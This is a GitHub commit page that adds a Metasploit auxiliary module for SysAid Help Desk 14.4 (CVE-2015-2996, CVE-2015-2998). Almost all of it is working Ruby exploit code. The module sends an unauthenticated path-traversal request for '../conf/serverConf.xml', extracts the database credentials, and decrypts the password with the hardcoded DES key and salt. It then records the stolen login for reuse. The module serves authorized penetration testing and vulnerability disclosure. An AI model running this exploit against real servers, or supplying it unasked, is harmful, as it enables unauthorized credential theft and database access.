Skip to content

Commit 29718ce

Browse files
committed
Land rapid7#5474, @pedrib's module for sysaid CVE-2015-2996 and CVE-2015-2998
* sysaid SQL database cred disclosure
2 parents 4e6b00f + a54b58f commit 29718ce

File tree

1 file changed

+151
-0
lines changed

1 file changed

+151
-0
lines changed
Lines changed: 151 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,151 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'openssl'
8+
9+
class Metasploit3 < Msf::Auxiliary
10+
11+
include Msf::Auxiliary::Report
12+
include Msf::Exploit::Remote::HttpClient
13+
14+
def initialize(info={})
15+
super(update_info(info,
16+
'Name' => 'SysAid Help Desk Database Credentials Disclosure',
17+
'Description' => %q{
18+
This module exploits a vulnerability in SysAid Help Desk that allows an unauthenticated
19+
user to download arbitrary files from the system. This is used to download the server
20+
configuration file that contains the database username and password, which is encrypted
21+
with a fixed key. This module has been tested with SysAid 14.4 on Windows and Linux.
22+
},
23+
'Author' =>
24+
[
25+
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
26+
],
27+
'License' => MSF_LICENSE,
28+
'References' =>
29+
[
30+
['CVE', '2015-2996'],
31+
['CVE', '2015-2998'],
32+
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/generic/sysaid-14.4-multiple-vulns.txt' ],
33+
['URL', 'http://seclists.org/fulldisclosure/2015/Jun/8']
34+
],
35+
'DisclosureDate' => 'Jun 3 2015'))
36+
37+
register_options(
38+
[
39+
OptPort.new('RPORT', [true, 'The target port', 8080]),
40+
OptString.new('TARGETURI', [ true, 'SysAid path', '/sysaid']),
41+
], self.class)
42+
end
43+
44+
45+
def decrypt_password (ciphertext)
46+
salt = [-87, -101, -56, 50, 86, 53, -29, 3].pack('c*')
47+
cipher = OpenSSL::Cipher::Cipher.new("DES")
48+
base_64_code = Rex::Text.decode_base64(ciphertext)
49+
cipher.decrypt
50+
cipher.pkcs5_keyivgen 'inigomontoya', salt, 19
51+
52+
plaintext = cipher.update base_64_code
53+
plaintext << cipher.final
54+
plaintext
55+
end
56+
57+
def run
58+
begin
59+
res = send_request_cgi({
60+
'method' => 'GET',
61+
'uri' => normalize_uri(datastore['TARGETURI'], 'getGfiUpgradeFile'),
62+
'vars_get' => {
63+
'fileName' => '../conf/serverConf.xml'
64+
},
65+
})
66+
rescue Rex::ConnectionRefused
67+
fail_with(Failure::Unreachable, "#{peer} - Could not connect.")
68+
end
69+
70+
if res && res.code == 200 && res.body.to_s.bytesize != 0
71+
username = /\<dbUser\>(.*)\<\/dbUser\>/.match(res.body.to_s)
72+
encrypted_password = /\<dbPassword\>(.*)\<\/dbPassword\>/.match(res.body.to_s)
73+
database_url = /\<dbUrl\>(.*)\<\/dbUrl\>/.match(res.body.to_s)
74+
database_type = /\<dbType\>(.*)\<\/dbType\>/.match(res.body.to_s)
75+
76+
unless username && encrypted_password && database_type && database_url
77+
fail_with(Failure::Unknown, "#{peer} - Failed to obtain database credentials.")
78+
end
79+
80+
username = username.captures[0]
81+
encrypted_password = encrypted_password.captures[0]
82+
database_url = database_url.captures[0]
83+
database_type = database_type.captures[0]
84+
password = decrypt_password(encrypted_password[6..encrypted_password.length])
85+
credential_core = report_credential_core({
86+
password: password,
87+
username: username
88+
})
89+
90+
matches = /(\w*):(\w*):\/\/(.*)\/(\w*)/.match(database_url)
91+
if matches
92+
begin
93+
if database_url['localhost'] == 'localhost'
94+
db_address = matches.captures[2]
95+
db_port = db_address[(db_address.index(':') + 1)..(db_address.length - 1)].to_i
96+
db_address = rhost
97+
else
98+
db_address = matches.captures[2]
99+
if db_address.index(':')
100+
db_address = db_address[0, db_address.index(':')]
101+
db_port = db_address[db_address.index(':')..(db_address.length - 1)].to_i
102+
else
103+
db_port = 0
104+
end
105+
db_address = Rex::Socket.getaddress(db_address, true)
106+
end
107+
database_login_data = {
108+
address: db_address,
109+
service_name: database_type,
110+
protocol: 'tcp',
111+
port: db_port,
112+
workspace_id: myworkspace_id,
113+
core: credential_core,
114+
status: Metasploit::Model::Login::Status::UNTRIED
115+
}
116+
create_credential_login(database_login_data)
117+
# Skip creating the Login, but tell the user about it if we cannot resolve the DB Server Hostname
118+
rescue SocketError
119+
fail_with(Failure::Unknown, 'Could not resolve database server hostname.')
120+
end
121+
122+
print_status("#{peer} - Stored SQL credentials #{username}:#{password} for #{matches.captures[2]}")
123+
return
124+
end
125+
else
126+
fail_with(Failure::NotVulnerable, "#{peer} - Failed to obtain database credentials, response was: #{res.code}")
127+
end
128+
end
129+
130+
131+
def report_credential_core(cred_opts={})
132+
origin_service_data = {
133+
address: rhost,
134+
port: rport,
135+
service_name: (ssl ? 'https' : 'http'),
136+
protocol: 'tcp',
137+
workspace_id: myworkspace_id
138+
}
139+
140+
credential_data = {
141+
origin_type: :service,
142+
module_fullname: self.fullname,
143+
private_type: :password,
144+
private_data: cred_opts[:password],
145+
username: cred_opts[:username]
146+
}
147+
148+
credential_data.merge!(origin_service_data)
149+
create_credential(credential_data)
150+
end
151+
end

0 commit comments

Comments
 (0)